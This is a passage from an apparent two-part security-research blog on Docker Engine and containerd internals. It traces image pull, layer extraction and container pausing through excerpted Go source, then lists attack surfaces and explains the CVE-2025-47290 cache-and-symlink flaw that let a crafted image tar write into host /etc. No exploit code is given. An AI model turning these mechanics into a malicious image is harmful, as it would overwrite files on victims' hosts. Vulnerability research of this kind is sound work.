func (o *snapshotter) createSnapshot(ctx context.Context, kind snapshots.Kind, key, parent string, opts []snapshots.Opt) (_ []mount.Mount, err error) {
    // [...]
    _, info, _, err = storage.GetInfo(ctx, key)
    // [...]
    snapshotDir := filepath.Join(o.root, "snapshots")
    td, err = o.prepareDirectory(ctx, snapshotDir, kind)
    // [...]
    path = filepath.Join(snapshotDir, s.ID)
    if err = os.Rename(td, path); err != nil { // [3]
        // [...]
    }
    // [...]
    return o.mounts(s, info), nil
}

func (o *snapshotter) mounts(s storage.Snapshot, info snapshots.Info) []mount.Mount {
    // [...]
    return []mount.Mount{ // [4]
        {
            Type:    "overlay", // or "bind" ...
            Source:  "overlay",
            Options: options,
        },
    }
}

So, before unpacking the layer, sn.Prepare() creates the snapshot directories that will hold the extracted layers.

2.3. containerd Apply Handling

The apply request is sent from dockerd to containerd.

On the containerd side, Apply() is called to handle the request, and it internally iterates through registered processors [1] and wraps them to a chained processor. Later, apply() is called with the wrapped IO stream [2], which triggers the processor callback in the end.

// plugins/services/diff/local.go
func (l *local) Apply(ctx context.Context, er *diffapi.ApplyRequest, _ ...grpc.CallOption) (*diffapi.ApplyResponse, error) {
    for _, differ := range l.differs {
        // [...]
        ocidesc, err = differ.Apply(ctx, desc, mounts, opts...) // <--------
        // [...]
    }
}

// core/diff/apply/apply.go
func (s *fsApplier) Apply(ctx context.Context, desc ocispec.Descriptor, mounts []mount.Mount, opts ...diff.ApplyOpt) (d ocispec.Descriptor, err error) {
    // [...]
    var processors []diff.StreamProcessor
    for {
        if processor, err = diff.GetProcessor(ctx, processor, config.ProcessorPayloads); err != nil { // [1]
            // [...]
        }
        processors = append(processors, processor)
        if processor.MediaType() == ocispec.MediaTypeImageLayer {
            break
        }
    }
    // [...]
    rc := &readCounter{
        r: io.TeeReader(processor, digester.Hash()),
    }

    if err := apply(ctx, mounts, rc, config.SyncFs); err != nil { // [2]
        // [...]
    }
    // [...]
}

How does GetProcessor() decide which decoder to use? It calls all registered handlers until one returns success [3]. By default, there is at least one processor: compressedHandler [4].

// core/diff/stream.go
func GetProcessor(ctx context.Context, stream StreamProcessor, payloads map[string]typeurl.Any) (StreamProcessor, error) {
    // [...]
    for i := len(handlers) - 1; i >= 0; i-- {
        processor, ok := handlers[i](ctx, stream.MediaType()) // [3]
        if ok {
            return processor(ctx, stream, payloads)
        }
    }
    return nil, ErrNoProcessor
}

func init() {
    RegisterProcessor(compressedHandler) // [4]
}

func RegisterProcessor(handler Handler) {
    handlers = append(handlers, handler)
}

compressedHandler() calls DiffCompression() to verify the compression type [5] and returns a nested function, which finds the matching streaming decoder [6] and returns it.

// core/diff/stream.go
func compressedHandler(ctx context.Context, mediaType string) (StreamProcessorInit, bool) {
    compressed, err := images.DiffCompression(ctx, mediaType) // [5]
    // [...]
    if compressed != "" {
        return func(ctx context.Context, stream StreamProcessor, payloads map[string]typeurl.Any) (StreamProcessor, error) {
            ds, err := compression.DecompressStream(stream) // [6]
            // [...]
            return &compressedProcessor{
                rc: ds,
            }, nil
        }, true
    }
    // [...]
}

Going back to Apply(), the processor is wrapped as an IO stream and then passed to platform-specified apply().

In Linux implementation, apply() in apply_linux.go decides which directory is used to save the extracted files. For overlayfs, the upper directory is used [7, 8], which is the actual path "snapshots//fs" [9].

// core/diff/apply/apply_linux.go
func apply(ctx context.Context, mounts []mount.Mount, r io.Reader, sync bool) (retErr error) {
    switch {
    case len(mounts) == 1 && mounts[0].Type == "overlay":
        // [...]
        path, parents, err := getOverlayPath(mounts[0].Options) // [7]
        // [...]
        _, err = archive.Apply(ctx, path, r, opts...) // <--------
        // [...]
        return err
    // [...]
    }
}

func getOverlayPath(options []string) (upper string /* [8] */, lower []string, err error) {
    // [...]
}

// plugins/snapshots/overlay/overlay.go
func (o *snapshotter) upperPath(id string) string {
    return filepath.Join(o.root, "snapshots", id, "fs") // [9]
}

Eventually, applyNaive() [9] is called to untar a diff.

// pkg/archive/tar.go
func Apply(ctx context.Context, root string, r io.Reader, opts ...ApplyOpt) (int64, error) {
    root = filepath.Clean(root)
    // [...]
    options.applyFunc = applyNaive
    // [...]
    return options.applyFunc(ctx, root, r, options) // [9]
}

Here, I want to explain more about two terms: “diff” and “layer”, since they are basically the same thing but in different states.

The raw tar data we download from the remote registry is the layer, kept in the content store. To unpack it, the layer (a compressed tar+gzip file) is decompressed into a diff — a stream of the uncompressed tar. That diff stream is then read and untarred, and the extracted files are saved into an isolated directory (named by snapshot ID) kept in the snapshot plugin.

2.4. untar

applyNaive() is the key function because it covers almost all of the tar extraction logic. It reads an entry from the tar file [1] and gets the file path [2]. It then calls createTarFile() to parse the entry [3].

// pkg/archive/tar.go
func applyNaive(ctx context.Context, root string, r io.Reader, options ApplyOptions) (size int64, err error) {
    // [...]
    root = filepath.Clean(root)
    // [...]
    for {
        // [...]
        hdr, err := tr.Next() // [1]
        // [...]
        ppath, base := filepath.Split(hdr.Name)
        ppath, err = fs.RootPath(root, ppath)
        path := filepath.Join(ppath, filepath.Join("/", base)) // [2]
        // [...]
        srcData := io.Reader(tr)
        srcHdr := hdr
        if err := createTarFile(ctx, path, root, srcHdr, srcData, options.NoSameOwner); err != nil { // [3]
            // [...]
        }
        // [...]
    }
}

createTarFile() is a custom tar handler. It parses the tar entry header to determine the file type, and then performs the corresponding file operation to extract the file. For example, if the entry is a directory [4], the mkdir is called to create the target directory [5].

// pkg/archive/tar.go
func createTarFile(ctx context.Context, path, extractDir string, hdr *tar.Header, reader io.Reader, noSameOwner bool) error {
    switch hdr.Typeflag {
    case tar.TypeDir: // [4]
        // [...]
        if fi, err := os.Lstat(path); err != nil || !fi.IsDir() {
            if err := mkdir(path, hdrInfo.Mode()); err != nil { // [5]
                return err
            }
        }
    // [...]
    }
}

3. Attack Surfaces

From the pull flow, the following two operations directly access attack-controllable data:

Manifest/Index JSON parsing (fetch())
Tar extraction (applyNaive() / createTarFile())

The threat model here is that the attacker compromises the registry server, or the attacker publishes a crafted image manifest or image tar file, which is then downloaded by the victim.

3.1. Parse JSON

Basically, the descriptor is fetched from the remote, so most of desc.XXXX is controllable by the attacker. However, I didn’t find anything useful or vulnerable. Its use is very limited 😢.

3.2. Tar Extraction

When it comes to tar extraction, the tar slip attack is the first technique that comes to my mind, but Docker does a pretty good job of mitigating this kind of problem.

hdr.Name is the path name extracted from the tar entry. It is first split into two parts: directory and filename. For example, "../../../a" becomes "../../../" and "a". Later, the directory part is passed to .RootPath() to resolve the full path.

// pkg/archive/tar.go
func applyNaive(ctx context.Context, root string, r io.Reader, options ApplyOptions) (size int64, err error) {
    // [...]
    ppath, base := filepath.Split(hdr.Name)
    ppath, err = fs.RootPath(root, ppath)
    path := filepath.Join(ppath, filepath.Join("/", base))
    // [...]
}

So fs.RootPath() has to make sure the resolved ppath is inside the root directory — and how does it do that?

We won’t trace the real code here because it’s unnecessary. Just two points to know for safe path resolution:

Clamp every ".." at the root: it calls filepath.Join("/", path) so "/.." is restricted inside the root.
Manually resolve the softlink: it calls lstat to get the target path and re-bounds it to the root.

4. Past Vulnerability

When I was looking for past vulnerabilities, there weren’t that many, but CVE-2025-47290 caught my eye — a vulnerability that makes containerd overwrite host filesystem files when pulling an image.

This vulnerability was found by researcher Tõnis Tiigi, and the advisory is here.

In the older version containerd, the cachedRootPath structure is used as a cache for path resolution.

type cachedRootPath struct {
    root  string
    cache map[string]string
}

func newCachedRootPath(root string) *cachedRootPath {
    return &cachedRootPath{
        root:  root,
        cache: make(map[string]string),
    }
}

func (c *cachedRootPath) get(path string) (string, error) {
    if hit, ok := c.cache[path]; ok {
        return hit, nil
    }
    p, err := fs.RootPath(c.root, path)
    if err != nil {
        return "", err
    }
    c.cache[path] = p
    return p, nil
}

For example, if multiple tar entries are in the same directory, only the first call to rootPath.get() enters the real file resolution fs.RootPath(), and the following entries can just read the path from the cache. Since fs.RootPath(c.root, path) ensures the resolved path is inside the root, it looks like there’s no problem.

ppath, base := filepath.Split(hdr.Name)
ppath, err = rootPath.get(ppath)

However, the tar supports entries with the same name, and how this case is handled depends on the client side. Here, containerd handles them according to the following two rules:

dir-over-dir: merge. Existing is a directory and new header is also TypeDir -> keep the directory, just re-apply metadata.
everything else: remove + replace. Any other combination (file-over-file, file-over-dir, dir-over-file, symlink, etc.) -> os.RemoveAll(path) wipes the old entry first.

Suppose we first create a new file in /a/b, making the /a cache loaded.

"/a" -> "/host/root/a"

Later, we do a dir-over-symlink, replacing /a directory with a symlink pointing to /etc. Then we create another new file /a/c. The actual path should be resolved to /host/root/etc by fs.RootPath().

"/a" -> "/host/root/a"                     # cached
"/a" -> "/host/root/a" --symlink--> "/etc" # actual

However, because of the cache mechanism, the /a still points to /host/root/a, which is a symlink to the host’s /etc, and the file finally ends up in /etc/c.

"/a/c" -> "/host/root/a/c" # expected
       -> "/etc/c"         # actual

It sounds like a pretty critical vulnerability — why don’t more people know about it?

Because it was introduced on Mar 8, 2025 (file diff) and later reverted on May 21, 2025 (revert commit), which means this bug was only alive for about two weeks, within a single sub-version (2.1.0 -> 2.1.1).

5. Summary

In this post, we’ve covered the pull flow and discussed the attack surfaces. In the next post, we’ll analyze how Docker uses runc to load a container, and take the NVIDIA toolkit as an example to understand how vendors bridge or customize their implementation within the Docker system.

Docker Internal (1)

2026-05-27T00:00:00+00:00

For this year’s (2026) Pwn2Own Berlin, I tried to find vulnerabilities in Docker but came up with nothing. This post simply documents my research on Docker’s system implementation, since it is quite interesting.

The attack scenario involves downloading an unknown image or running a malicious image, so I only focus on its architecture and then delve into the code that accesses user-controllable data.

This series is expected to be divided into three parts, covering basic Docker’s architecture, attack surfaces, past vulnerabilities, and the NVIDIA toolkit as a bonus! I hope you enjoy these posts and learn something new 🙂.

1. Introduction

First, there are a few Docker products that may confuse readers. The most common one is Docker Engine, and another is Docker Desktop, which is relatively niche but more user-friendly since it provides a GUI and runs containers inside a lightweight VM (for example, QEMU-KVM). Here, we are discussing Docker Engine, not the Docker Desktop.

If you follow the installation steps for Docker Engine on Ubuntu, you’ll notice that containerd is installed as well!

sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
                                         ^^^^^^^^^^^^^

In fact, the Docker Engine consists of several components: the CLI tool (docker), the frontend (dockerd), the backend (containerd), the container’s shim daemon (containerd-shim-runc-v2) and loader (runc). The interaction between each components looks like this:

When executing a command like docker run -it ubuntu /bin/bash, docker first connects to the Unix socket docker.sock and sends the request. Then, dockerd wraps the request in gRPC format and forwards it to containerd via the Unix socket containerd.sock. containerd is responsible for loading the image, invoking runc to create a container, and managing the container lifecycle. Finally, the container is spawned in an isolated execution environment based on Linux namespace, capabilities and cgroups.

As the backend of Docker Engine, or precisely the container runtime, containerd can also be used by other engines or orchestrators, such as Kubernetes.

By the way, according to the Pwn2Own rules, Docker Engine and containerd are listed as two separate targets, but since Docker Engine appears to depend on containerd as its backend and cannot run on its own, I’m not sure what the attack scenarios for each would be.

Anyway, let’s first take a look at how the dockerd handles HTTP requests and sends gRPC requests to containerd!

2. dockerd

The source code for both docker and dockerd can be found in the moby/moby GitHub repo.

2.1. Register API Endpoints

The entry point of the Docker daemon (dockerd) is start() in daemon/command/daemon.go. start() creates an HTTP server [1] that supports both the gRPC protocol [2] and the HTTP protocol [3], since other CLI tools may communicate via gRPC.

// daemon/command/daemon.go
func (cli *daemonCLI) start(ctx context.Context) (retErr error) {
    // [...]
    httpServer := &http.Server{
        // [...]
    }
    // [...]
    var p http.Protocols
    p.SetHTTP1(true)
    p.SetHTTP2(true)
    p.SetUnencryptedHTTP2(true)

    routers := buildRouters(routerOptions{
        features: d.Features,
        daemon:   d,
        cluster:  c,
        builder:  b,
    })
    gs := newGRPCServer(ctx)
    b.backend.RegisterGRPC(gs) // [2]
    httpServer.Protocols = &p // [3]
    httpServer.Handler = newHTTPHandler(ctx, gs, apiServer.CreateMux(ctx, routers...)) // [1]
    // [...]
    httpServer.Serve(ls)
    // [...]
}

// daemon/command/httphandler.go
func newHTTPHandler(ctx context.Context, gs *grpc.Server, apiServer http.Handler) http.Handler {
    return &httpHandler{
        ctx:        ctx,
        grpcServer: gs,
        apiServer:  apiServer,
    }
}

httpServer is an http.Server object from Go’s net/http package, and the ServeHTTP() method of its .Handler field is called whenever a request arrives. It handles requests in two different ways: if the Content-Type in the HTTP request header is gRPC, the request is dispatched to gRPC server [4]; otherwise, the HTTP server treats it as a REST HTTP request and handle it accordingly [5].

// daemon/command/httphandler.go
func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.ProtoMajor == 2 && strings.HasPrefix(r.Header.Get("Content-Type"), "application/grpc") {
        h.grpcServer.ServeHTTP(w, r) // [4]
    } else {
        h.apiServer.ServeHTTP(w, r) // [5]
    }
}

buildRouters() calls the .NewRouter() function of several packages to set up routing. Take the container package [6] as an example: its initRoutes() [7] function is called internally and defines the endpoints along with their handlers.

// daemon/command/daemon.go
import (
    // [...]
    "github.com/moby/moby/v2/daemon/server/router/container"
    // [...]
)

func buildRouters(opts routerOptions) []router.Router {
    routers := []router.Router{
        // [...]
        container.NewRouter(opts.daemon), // [6]
        // [...]
    }
}

// daemon/server/router/container/container.go
func NewRouter(b Backend) router.Router {
    r := &containerRouter{
        backend: b,
    }
    r.initRoutes() // [7]
    return r
}

func (c *containerRouter) initRoutes() {
    c.routes = []router.Route{
        // [...]
        router.NewPostRoute("/containers/{name:.*}/pause", c.postContainersPause),
        // [...]
    }
}

2.2. Send Request to containerd

Some endpoints simply return status or metadata, but others handle more complex tasks and need to forward requests to containerd. Here, we’ll use pausing a container as an example (since it’s more straightforward).

Pausing a container is handled by postContainersPause() [1], which internally calls t.Task.Pause() [2].

// daemon/server/router/container/container.go
func (c *containerRouter) initRoutes() {
    c.routes = []router.Route{
        // [...]
        router.NewPostRoute("/containers/{name:.*}/pause", c.postContainersPause), // [1]
        // [...]
    }
}

// daemon/server/router/container/container_routes.go
func (c *containerRouter) postContainersPause(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    if err := c.backend.ContainerPause(vars["name"]); err != nil { // <--------
        return err
    }

    w.WriteHeader(http.StatusNoContent) // response to docker CLI (docker)
    return nil
}

// daemon/pause.go
func (daemon *Daemon) ContainerPause(name string) error {
    ctr, err := daemon.GetContainer(name)
    // [...]
    return daemon.containerPause(ctr) // <--------
}

func (daemon *Daemon) containerPause(container *container.Container) error {
    tsk, err := container.GetRunningTask()
    // [...]
    tsk.Pause(context.Background()) // <--------
    // [...]
}

func (t *task) Pause(ctx context.Context) error {
    return t.Task.Pause(ctx) // [2]
}

You may not find the definition of .Pause() because it invokes the Task interface [3] provided by containerd.

// daemon/internal/libcontainerd/remote/client.go
import (
    // [...]
    containerd "github.com/containerd/containerd/v2/client"
    // [...]
)

type task struct {
    containerd.Task // [3]
    ctr *container
}

By grepping through the source code of containerd, we can see that the Task’s pause handler is defined in client/task.go. Pause() wraps the container ID into a PauseTaskRequest [4], which is a Protobuf-formatted structure.

// client/task.go
func (t *task) Pause(ctx context.Context) error {
    // [...]
    _, err := t.client.TaskService().Pause(ctx, &tasks.PauseTaskRequest{  // [4]
        ContainerID: t.id,
    })
    // [...]
}

// api/services/tasks/v1/tasks.pb.go
type PauseTaskRequest struct {
    state         protoimpl.MessageState
    sizeCache     protoimpl.SizeCache
    unknownFields protoimpl.UnknownFields

    ContainerID string `protobuf:"bytes,1,opt,name=container_id,json=containerId,proto3" json:"container_id,omitempty"`
}

Noted that there are many versions of tasks, and it can be confusing to tell which one is being used. You can identify the correct one by checking the package name [5].

// client/client.go
import (
    // [...]
    "github.com/containerd/containerd/api/services/tasks/v1" // [5]
    // [...]
)

func (c *Client) TaskService() tasks.TasksClient {
    // [...]
    return tasks.NewTasksClient(c.conn) // v1
}

Following the function call, the client connection eventually calls SendMsg() [6] with the gRPC data as a parameter, sending the Protobuf payload to containerd via containerd.sock.

// api/services/tasks/v1/tasks_grpc.pb.go
func (c *tasksClient) Pause(ctx context.Context, in *PauseTaskRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) {
    out := new(emptypb.Empty)
    err := c.cc.Invoke(ctx, "/containerd.services.tasks.v1.Tasks/Pause", in, out, opts...)
    // [...]
}

// vendor/google.golang.org/grpc/call.go
func (cc *ClientConn) Invoke(ctx context.Context, method string, args, reply any, opts ...CallOption) error {
    opts = combine(cc.dopts.callOptions, opts)
    return invoke(ctx, method, args, reply, cc, opts...) // <--------
}

func Invoke(ctx context.Context, method string, args, reply any, cc *ClientConn, opts ...CallOption) error {
    return cc.Invoke(ctx, method, args, reply, opts...) // <--------
}

var unaryStreamDesc = &StreamDesc{ServerStreams: false, ClientStreams: false}
func invoke(ctx context.Context, method string, req, reply any, cc *ClientConn, opts ...CallOption) error {
    cs, err := newClientStream(ctx, unaryStreamDesc, cc, method, opts...)
    if err := cs.SendMsg(req); err != nil { // [6]
        return err
    }
    return cs.RecvMsg(reply)
}

3. containerd

The containerd GitHub repo provides a clear diagram of its architecture:

For example, according to the diagram, container pausing is related to the container runtime, which is managed by Task. In the previous section, we traced the call flow and confirmed that container pausing is actually handled by containerd.Task in dockerd.

Next, we’ll trace the code flow to understand how containerd receives and handles requests from dockerd.

3.1. Receive Requests from dockerd

When the containerd daemon runs, the builtins and command package are imported [1, 2], and App() sets up two services: TTRPC (Tiny RPC) [3] and GRPC [4]. Whether the debug service is set up depends on the configuration [5].

// cmd/containerd/main.go
import (
    // [...]
    "github.com/containerd/containerd/v2/cmd/containerd/command" // [1]
    _ "github.com/containerd/containerd/v2/cmd/containerd/builtins" // [2]
    // [...]
)

func main() {
    app := command.App() // <--------
    if err := app.Run(os.Args); err != nil {
        // [...]
    }
}

// cmd/containerd/command/main.go
func App() *cli.App {
    // [...]
    if config.Debug.Address != "" { // [5]
        var l net.Listener
        if isLocalAddress(config.Debug.Address) {
            if l, err = sys.GetLocalListener(config.Debug.Address, config.Debug.UID, config.Debug.GID); err != nil {
                // [...]
            }
        } else {
            if l, err = net.Listen("tcp", config.Debug.Address); err != nil {
                // [...]
            }
        }
        serve(ctx, l, server.ServeDebug)
    }
    // [...]

    tl, err := sys.GetLocalListener(config.TTRPC.Address, config.TTRPC.UID, config.TTRPC.GID)
    serve(ctx, tl, server.ServeTTRPC) // [3]
    
    // [...]
    
    l, err := sys.GetLocalListener(config.GRPC.Address, config.GRPC.UID, config.GRPC.GID)
    serve(ctx, l, server.ServeGRPC) // [4]
    
    // [...]
}

The builtins package is a wrapper for built-in packages, and one of the built-in packages it imports is tasks [6]. The init() function of the tasks package is invoked when the package is imported, and it calls Register() [7] to register itself with the registry.

// cmd/containerd/builtins/builtins.go
import (
    // [...]
    _ "github.com/containerd/containerd/v2/plugins/services/tasks" // [6]
    // [...]
)

// plugins/services/tasks/service.go
func init() {
    registry.Register(&plugin.Registration{ // [7]
        Type: plugins.GRPCPlugin,
        ID:   "tasks",
        Requires: []plugin.Type{
            plugins.ServicePlugin,
        },
        InitFn: func(ic *plugin.InitContext) (any, error) {
            i, err := ic.GetByID(plugins.ServicePlugin, services.TasksService)
            if err != nil {
                return nil, err
            }
            return &service{local: i.(api.TasksClient)}, nil
        },
    })
}

Later, when the server prepares to run, the Register() method of every registered service is called to set up gRPC endpoints based on predefined descriptors [8], and their handlers are finally attached [9].

// plugins/services/tasks/service.go
func (s *service) Register(server *grpc.Server) error {
    api.RegisterTasksServer(server, s) // <--------
    return nil
}

// api/services/tasks/v1/tasks_grpc.pb.go
func RegisterTasksServer(s grpc.ServiceRegistrar, srv TasksServer) {
    s.RegisterService(&Tasks_ServiceDesc, srv) // <--------
}

var Tasks_ServiceDesc = grpc.ServiceDesc{ // [8]
    ServiceName: "containerd.services.tasks.v1.Tasks",
    HandlerType: (*TasksServer)(nil),
    Methods: []grpc.MethodDesc{
        // [...]
        {
            MethodName: "Pause",
            Handler:    _Tasks_Pause_Handler, // [9]
        },
        // [...]
    }
}

So if we send a request to the "/containerd.services.tasks.v1.Tasks/Pause" gRPC endpoint, _Tasks_Pause_Handler() will be invoked.

func _Tasks_Pause_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
    in := new(PauseTaskRequest)
    info := &grpc.UnaryServerInfo{
        Server:     srv,
        FullMethod: "/containerd.services.tasks.v1.Tasks/Pause",
    }
    handler := func(ctx context.Context, req interface{}) (interface{}, error) {
        return srv.(TasksServer).Pause(ctx, req.(*PauseTaskRequest))
    }
    return interceptor(ctx, in, info, handler)
}

3.2. Dispatch Request to shim Daemon

To trace the actual handler behind srv.(TasksServer).Pause(), we need to go back and find where TasksServer comes from. srv is the second parameter passed to RegisterTasksServer(), and s is a service object defined in plugins/services/tasks/service.go [1].

// api/services/tasks/v1/tasks_grpc.pb.go
func RegisterTasksServer(s grpc.ServiceRegistrar, srv TasksServer) {
    s.RegisterService(&Tasks_ServiceDesc, srv) // <--------
}

// plugins/services/tasks/service.go
func (s *service) Register(server *grpc.Server) error {
    api.RegisterTasksServer(server, s) // [1]
    return nil
}

The service’s pause handler then calls s.local.Pause() [2], where local is assigned from the retrieved initial context i object during initialization [3]. The i is retrieved by an ID equal to services.TasksService [4], which corresponds to the local task object defined in plugins/services/tasks/local.go [5].

// plugins/services/tasks/service.go
func (s *service) Pause(ctx context.Context, r *api.PauseTaskRequest) (*ptypes.Empty, error) {
    return s.local.Pause(ctx, r) // [2]
}

func init() {
    registry.Register(&plugin.Registration{
        // [...]
        InitFn: func(ic *plugin.InitContext) (any, error) {
            // [...]
            i, err := ic.GetByID(plugins.ServicePlugin, services.TasksService) // [4]
            // [...]
            return &service{local: i.(api.TasksClient)}, nil // [3]
        },
    })
}

// plugins/services/tasks/local.go
func init() {
    registry.Register(&plugin.Registration{
        // [...]
        ID:       services.TasksService, // [5]
        // [...]
    })
}

The local package defines Pause(). It first gets the container runtime task object via l.getTask() [6] and then calls t.Pause() [7]. The process for obtaining task object is somewhat complicated, so I’ve left some comments to help understand the call flow.

// plugins/services/tasks/local.go
func (l *local) Pause(ctx context.Context, r *api.PauseTaskRequest, _ ...grpc.CallOption) (*ptypes.Empty, error) {
    // [...]
    t, err := l.getTask(ctx, r.ContainerID) // [6], return runtime.Task
    err = t.Pause(ctx) // [6]
    // [...]
}

func (l *local) getTask(ctx context.Context, id string) (runtime.Task, error) {
    container, err := l.getContainer(ctx, id)
    return l.getTaskFromContainer(ctx, container)
}

func (l *local) getContainer(ctx context.Context, id string) (*containers.Container, error) {
    var container containers.Container
    // 'initFunc()' set 'l.containers' to 'metadata.NewContainerStore(db)'
    container, err := l.containers.Get(ctx, id) // call 'Get()' in 'core/metadata/containers.go'
                                                // -> get container from db
    return &container
}

func (l *local) getTaskFromContainer(ctx context.Context, container *containers.Container) (runtime.Task, error) {
    /**
     * initFunc() set 'l.v2Runtime' to 'v2r.(runtime.PlatformRuntime)'
     * -> v2r is from 'ic.GetByID(plugins.RuntimePluginV2, "task")'
     * -> init() 'core/runtime/v2/task_manager.go' register 'plugins.RuntimePluginV2'
     * -> Get() return 'newShimTask(shim)', which is defined in 'core/runtime/v2/shim.go'
     * -> shimTask is the actual structure which is extended from runtime.Task interface
     */
    t, err := l.v2Runtime.Get(ctx, container.ID)
    return t
}

The task object of the t.Pause() call is returned from newShimTask(shim) in the v2 package, so we can see that t.Pause() corresponds to the Pause() handler in the same package [8]. It then calls s.task.Pause(), whose definition lives in its task client, and s.task is created by NewTaskClient() [10].

// core/runtime/v2/shim.go
package v2

func newShimTask(shim ShimInstance) (*shimTask, error) {
    _, version := shim.Endpoint()
    taskClient, err := NewTaskClient(shim.Client(), version) // [10]
    // [...]
    return &shimTask{
        ShimInstance: shim,
        task:         taskClient, // [9]
    }, nil
}

func (s *shimTask) Pause(ctx context.Context) error { // [8]
    /**
     * s.task is assigned to NewTaskClient()'s return value, which calls a switch case with client type and version
     * - ttrpc + v2 -> *ttrpcV2Bridge
     * - ttrpc + v3 -> api.NewTTRPCTaskClient
     * - grpc + v3  -> *grpcV3Bridge
     */
    if _, err := s.task.Pause(ctx, &task.PauseRequest{
        ID: s.ID(),
    }) // [...]
}

NewTaskClient() returns different TTRPCTaskService object depending on the type and version. For a TTRPC client with version 2, a ttrpctaskClient object is created [11]. Finally, we wrap the TTRPC message and send it [12] to the service "containerd.task.v2.Task" with method "Pause" through the shim daemon socket.

// core/runtime/v2/bridge.go
func NewTaskClient(client any, version int) (TaskServiceClient, error) {
    switch c := client.(type) {
    case *ttrpc.Client:
        switch version {
        case 2:
            return &ttrpcV2Bridge{client: v2.NewTTRPCTaskClient(c)}, nil // <--------
        case 3:
            return api.NewTTRPCTaskClient(c), nil
        // [...]
        }

    case grpc.ClientConnInterface:
        // [...]
        if version != 3 {
            // [...]
        }
        return &grpcV3Bridge{api.NewTaskClient(c)}, nil
    // [...]
    }
}

// api/runtime/task/v2/shim_ttrpc.pb.go
func NewTTRPCTaskClient(client *ttrpc.Client) TTRPCTaskService {
    return &ttrpctaskClient{ // [11]
        client: client,
    }
}

func (c *ttrpctaskClient) Pause(ctx context.Context, req *PauseRequest) (*emptypb.Empty, error) {
    var resp emptypb.Empty
    if err := c.client.Call(ctx, "containerd.task.v2.Task", "Pause", req, &resp); err != nil { // [12]
        return nil, err
    }
    return &resp, nil
}

4. containerd-shim-runc-v2 (shim Daemon)

Every container needs a shim daemon to hold its stdio, wait for its init process, and report exit status back to containerd. This also decouples the container’s lifecycle from containerd itself: if containerd crashes or gets restarted, the shim keeps running, the container stays alive, and containerd can later re-attach to the shim daemon to recover state. As a result, a shim daemon exposes the Unix socket, allowing containerd to indirectly control the container.

When a shim daemon initializes, the main function run() iterates through all predefined service objects [1] and register each as a TTRPC service [2].

// pkg/shim/shim.go
func run(ctx context.Context, manager Manager, config Config) error {
    // [...]
    for _, p := range registry.Graph(func(*plugin.Registration) bool { return false }) {
        ttrpcServices = append(ttrpcServices, src) // [1]
    }
    // [...]
    for _, srv := range ttrpcServices {
        if err := srv.RegisterTTRPC(server); err != nil { // [2]
            // [...]
        }
    }
    // [...]
}

The task package’s register function calls RegisterService() with endpoint descriptors, one of which is "Pause" [3].

// cmd/containerd-shim-runc-v2/task/service.go
func (s *service) RegisterTTRPC(server *ttrpc.Server) error {
    taskAPI.RegisterTTRPCTaskService(server, s) // <--------
    return nil
}

func RegisterTTRPCTaskService(srv *ttrpc.Server, svc TTRPCTaskService) {
    srv.RegisterService("containerd.task.v2.Task", &ttrpc.ServiceDesc{
        Methods: map[string]ttrpc.Method{
            ...
            "Pause": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { // [3]
                var req PauseRequest
                if err := unmarshal(&req); err != nil { return nil, err }
                return svc.Pause(ctx, &req)
            },
            ...
        },
    })
}

The svc.Pause() ends up at the Pause() function in containerd/go-runc/runc.go, which actually runs the command runc pause [4] to pause the container. Interesting!

// cmd/containerd-shim-runc-v2/task/service.go
func (s *service) Pause(ctx context.Context, r *taskAPI.PauseRequest) (*ptypes.Empty, error) {
    container, err := s.getContainer(r.ID)
    if err := container.Pause(ctx); err != nil { // <--------
        // [...]
    }
    s.send(&eventstypes.TaskPaused{
        ContainerID: container.ID,
    })
    // [...]
}

// cmd/containerd-shim-runc-v2/runc/container.go
func (c *Container) Pause(ctx context.Context) error {
    return c.process.(*process.Init).Pause(ctx) // <--------
}

// cmd/containerd-shim-runc-v2/process/init.go
func (p *Init) Pause(ctx context.Context) error {
    // [...]
    return p.initState.Pause(ctx) // <--------
}

// cmd/containerd-shim-runc-v2/process/init_state.go
func (s *runningState) Pause(ctx context.Context) error {
    // [...]
    if err := s.p.runtime.Pause(ctx, s.p.id); err != nil { // <--------
        // [...]
    }
    // [...]
}

// vendor/github.com/containerd/go-runc/runc.go
func (r *Runc) Pause(context context.Context, id string) error {
    return r.runOrError(r.command(context, "pause", id)) // [4]
}

5. runc

From the previous section, we learned that the shim daemon handles the pause container request by forking a new process and executing runc. But what exactly is runc?

runc is a low-level container runtime implementation, or you can say an OCI (Open Container Initiative) runtime. Its job is to directly control a container, such as creating a new container, listing all processes inside a container, and so on.

We’ll continue using “pause a container” as our example. The variable pauseCommand in pause.go defines how the pause command works, and other commands follow a similar pattern: a file named .go with a corresponding variable Command.

The Action field shows the implementation: check arguments, get the container, and pause it [1].

// pause.go
var pauseCommand = &cli.Command{
    Name:  "pause",
    Usage: "pause suspends all processes inside the container",
    ArgsUsage: `

Where "" is the name for the instance of the container to be
paused. `,
    Description: `The pause command suspends all processes in the instance of the container.

Use runc list to identify instances of containers and their current status.`,
    // Disable comma as separator for slice flags.
    DisableSliceFlagSeparator: true,
    Action: func(_ context.Context, cmd *cli.Command) error {
        if err := checkArgs(cmd, 1, exactArgs); err != nil {
            return err
        }
        container, err := getContainer(cmd)
        // [...]
        err = container.Pause() // [1]
        // [...]
        return nil
    },
}

Pause() checks whether the container has been created or is still running, and then calls c.cgroupManager.Freeze() [2]. There are two cgroup versions: v1 and v2, so c.cgroupManager could be either version. Here, we’ll assume v2 is being used.

// libcontainer/container_linux.go
func (c *Container) Pause() error {
    // [...]
    status, err := c.currentStatus()
    // [...]
    switch status {
    case Running, Created:
        if err := c.cgroupManager.Freeze(cgroups.Frozen); err != nil { // [2]
            return err
        }
        // [...]
    }
    // [...]
}

Cgroup version 2, referred to as cgroupv2 in the code, uses fs2 as its filesystem manager, and the Freeze() handler in turn calls setFreezer() [3].

// vendor/github.com/opencontainers/cgroups/systemd/v2.go
func (m *UnifiedManager) Freeze(state cgroups.FreezerState) error {
    // m.fsMgr is assigned to 'fs2.NewManager(config, m.path)' in NewUnifiedManager()
    return m.fsMgr.Freeze(state) // <--------
}

// vendor/github.com/opencontainers/cgroups/fs2/fs2.go
